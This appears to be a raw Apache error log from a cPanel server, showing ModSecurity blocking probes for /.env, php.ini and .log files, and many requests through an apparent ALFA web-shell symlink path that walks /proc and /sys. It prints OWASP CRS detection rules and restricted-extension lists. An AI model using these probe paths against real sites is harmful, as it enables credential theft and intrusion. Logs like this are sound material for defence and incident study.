[Sun Oct 25 21:17:10.135928 2026] [security2:error] [pid 2922333:tid 2922333] [client 34.236.41.241:43305] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:01/PNP0B00:00/physical_node/wakeup/wakeup11/subsystem/"] [unique_id "at6qFiC9gidsUAz5qdCHyAAAAC8"]
[Sun Oct 25 21:17:24.758030 2026] [security2:error] [pid 2926323:tid 2926323] [client 107.172.76.131:49844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6qGC7g7KvJoU2B-eLLnwAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:17:24.758092 2026] [security2:error] [pid 2926323:tid 2926323] [client 107.172.76.131:49844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6qGC7g7KvJoU2B-eLLnwAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:17:37.896640 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 185.191.171.18:21382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:17:50.149215 2026] [ssl:error] [pid 2930805:tid 2930805] (5)Input/output error: [client 50.19.221.48:26177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:17:54.196040 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 54.87.62.248:49412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:18:14.196743 2026] [ssl:error] [pid 2934764:tid 2934764] (70014)End of file found: [client 52.73.6.26:14903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:18:18.119818 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 34.231.118.144:43912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:18:34.278113 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 23.21.148.226:29900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:06/physical_node/resource4
[Sun Oct 25 21:18:35.599125 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 185.191.171.11:52966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/cache_dma
[Sun Oct 25 21:18:37.423995 2026] [core:error] [pid 2934764:tid 2934764] (13)Permission denied: [client 85.208.96.210:47706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/trace
[Sun Oct 25 21:18:38.398539 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 44.207.207.36:12497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:18:38.398839 2026] [security2:error] [pid 2934397:tid 2934397] [client 44.207.207.36:12497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/PNP0A06:01/hid"] [unique_id "at6qbkokKmMLT537ELOlIwAAAAg"]
[Sun Oct 25 21:18:38.398874 2026] [security2:error] [pid 2934397:tid 2934397] [client 44.207.207.36:12497] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/PNP0A06:01/hid"] [unique_id "at6qbkokKmMLT537ELOlIwAAAAg"]
[Sun Oct 25 21:18:42.217895 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 52.2.191.202:5143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:18:58.287397 2026] [security2:error] [pid 2934397:tid 2934397] [client 91.92.240.86:41446] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6qgkokKmMLT537ELOlJAAAAAg"]
[Sun Oct 25 21:18:58.287651 2026] [security2:error] [pid 2934397:tid 2934397] [client 91.92.240.86:41446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6qgkokKmMLT537ELOlJAAAAAg"]
[Sun Oct 25 21:18:58.287966 2026] [security2:error] [pid 2934397:tid 2934397] [client 91.92.240.86:41446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6qgkokKmMLT537ELOlJAAAAAg"]
[Sun Oct 25 21:18:58.433508 2026] [security2:error] [pid 2930805:tid 2930805] [client 91.92.240.86:60976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6qgkSqfK4XdeD_8RxohQAAAAM"]
[Sun Oct 25 21:18:58.433701 2026] [security2:error] [pid 2930805:tid 2930805] [client 91.92.240.86:60976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6qgkSqfK4XdeD_8RxohQAAAAM"]
[Sun Oct 25 21:18:58.433972 2026] [security2:error] [pid 2930805:tid 2930805] [client 91.92.240.86:60976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6qgkSqfK4XdeD_8RxohQAAAAM"]
[Sun Oct 25 21:19:02.272169 2026] [ssl:error] [pid 2919322:tid 2919322] (22)Invalid argument: [client 3.227.180.70:7200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:19:06.131949 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 34.195.248.30:48899] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:19:11.501465 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 185.191.171.9:45606] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:19:14.135267 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 3.213.85.234:41442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:19:34.140596 2026] [ssl:error] [pid 2922333:tid 2922333] (5)Input/output error: [client 52.204.174.139:48281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:19:38.140982 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 18.205.213.231:19313] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/device:04/physical_node/driver/module/uevent
[Sun Oct 25 21:19:42.185221 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 3.216.13.10:23362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:19:46.160349 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 52.200.142.199:26127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:19:54.130482 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 34.193.2.57:3107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:20:02.130100 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 34.205.170.13:11116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/subsystem/rescan
[Sun Oct 25 21:20:06.129326 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 34.234.197.175:57407] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:20:11.827532 2026] [security2:error] [pid 2926323:tid 2926323] [client 107.172.76.131:49844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6qvi7g7KvJoU2B-eLLqgAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:20:11.827614 2026] [security2:error] [pid 2926323:tid 2926323] [client 107.172.76.131:49844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6qvi7g7KvJoU2B-eLLqgAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:20:14.232328 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 18.213.102.186:43400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:20:22.135421 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 44.213.36.21:31216] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:20:42.143437 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 184.73.35.182:47589] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:20:43.135908 2026] [security2:error] [pid 2922868:tid 2922868] [client 217.182.136.43:55428] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/little/lp_settings.inc"] [unique_id "at6q62ICTqSqeaZzEzUpEgAAABw"]
[Sun Oct 25 21:20:43.136262 2026] [security2:error] [pid 2922868:tid 2922868] [client 217.182.136.43:55428] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/little/lp_settings.inc"] [unique_id "at6q62ICTqSqeaZzEzUpEgAAABw"]
[Sun Oct 25 21:20:43.137247 2026] [security2:error] [pid 2922868:tid 2922868] [client 217.182.136.43:55428] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6q62ICTqSqeaZzEzUpEgAAABw"]
[Sun Oct 25 21:20:50.256234 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 34.236.135.14:31915] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:20:54.140339 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 18.209.201.119:53142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:02.139399 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 18.213.102.186:7253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:14.252489 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 184.73.239.35:48261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:18.149720 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 44.217.255.167:8875] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:18.149935 2026] [security2:error] [pid 2932351:tid 2932351] [client 44.217.255.167:8875] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/resources"] [unique_id "at6rDrmcfM3Hi8DaXo--LAAAAAc"]
[Sun Oct 25 21:21:18.149959 2026] [security2:error] [pid 2932351:tid 2932351] [client 44.217.255.167:8875] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0B00:00/physical_node/driver/00:00/resources"] [unique_id "at6rDrmcfM3Hi8DaXo--LAAAAAc"]
[Sun Oct 25 21:21:22.217199 2026] [ssl:error] [pid 2934764:tid 2934764] (70014)End of file found: [client 3.212.205.90:26790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:26.131121 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 52.2.83.227:27143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/vmd/module/uevent
[Sun Oct 25 21:21:30.331033 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 23.21.148.226:19470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:34.135652 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 52.2.4.213:12155] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/new_id
[Sun Oct 25 21:21:38.152406 2026] [ssl:error] [pid 2934764:tid 2934764] (70014)End of file found: [client 184.73.239.35:16460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:46.253604 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.91.122.193:60765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:47.612845 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:49846] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6rH17WMIdeUbvmuUTElwAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:21:47.612897 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:49846] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6rH17WMIdeUbvmuUTElwAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:21:50.249507 2026] [ssl:error] [pid 2934764:tid 2934764] (70014)End of file found: [client 34.231.77.232:19565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:54.280976 2026] [ssl:error] [pid 2934397:tid 2934397] (70014)End of file found: [client 23.23.99.55:46693] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:21:56.227141 2026] [security2:error] [pid 2927273:tid 2927273] [client 179.178.225.219:42134] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at6rNDmmX3asvCDITlDwswAAAAA"], referer: https://sherwinpinturas.com/
[Sun Oct 25 21:21:56.227273 2026] [security2:error] [pid 2927273:tid 2927273] [client 179.178.225.219:42134] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at6rNDmmX3asvCDITlDwswAAAAA"], referer: https://sherwinpinturas.com/
[Sun Oct 25 21:21:56.227898 2026] [security2:error] [pid 2927273:tid 2927273] [client 179.178.225.219:42134] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at6rNDmmX3asvCDITlDwswAAAAA"], referer: https://sherwinpinturas.com/
[Sun Oct 25 21:21:56.228197 2026] [security2:error] [pid 2927273:tid 2927273] [client 179.178.225.219:42134] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at6rNDmmX3asvCDITlDwswAAAAA"], referer: https://sherwinpinturas.com/
[Sun Oct 25 21:21:58.147109 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 34.225.243.131:63782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:22:02.186484 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 34.205.170.13:49533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:22:14.336752 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 3.229.95.193:18382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:0d/eject
[Sun Oct 25 21:22:14.337246 2026] [security2:error] [pid 2918422:tid 2918422] [client 3.229.95.193:18382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:0d/eject"] [unique_id "at6rRsmX8eKs_cgmrz9wsAAAAAU"]
[Sun Oct 25 21:22:14.337270 2026] [security2:error] [pid 2918422:tid 2918422] [client 3.229.95.193:18382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:0d/eject"] [unique_id "at6rRsmX8eKs_cgmrz9wsAAAAAU"]
[Sun Oct 25 21:22:30.025106 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 85.208.96.201:46758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/object_size
[Sun Oct 25 21:22:30.126708 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 34.235.239.240:43808] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:22:34.129406 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 23.23.103.31:21548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:22:42.164405 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.230.224.6:57495] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:10.164002 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 54.147.182.90:52416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:14.426715 2026] [authz_core:error] [pid 2936923:tid 2936923] [client 77.74.177.114:49630] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 21:23:18.131025 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.215.231.15:45302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:22.155498 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 34.239.85.139:8915] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:26.149891 2026] [ssl:error] [pid 2936920:tid 2936920] (70014)End of file found: [client 52.71.46.142:10691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:34.144779 2026] [ssl:error] [pid 2936923:tid 2936923] (70014)End of file found: [client 100.28.44.58:24583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:38.174396 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 54.147.182.90:34030] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:42.481625 2026] [ssl:error] [pid 2936922:tid 2936922] (5)Input/output error: [client 54.156.55.147:26455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:23:54.043431 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 85.208.96.200:32464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__bug_table
[Sun Oct 25 21:23:58.206535 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 35.173.38.202:31012] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:24:05.392804 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 85.208.96.210:17242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/cpu_slabs
[Sun Oct 25 21:24:10.229877 2026] [ssl:error] [pid 2936923:tid 2936923] (70014)End of file found: [client 100.29.63.24:21041] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:24:18.199943 2026] [ssl:error] [pid 2936922:tid 2936922] (70014)End of file found: [client 44.193.102.198:11726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:24:22.158534 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 3.225.9.97:39732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:24:34.214249 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 18.206.47.187:15396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/Cavium PTP Driver/uevent
[Sun Oct 25 21:24:53.124337 2026] [security2:error] [pid 2925278:tid 2925278] [client 107.172.76.131:49963] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6r2BaKu-Zjs56a5J4rowAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
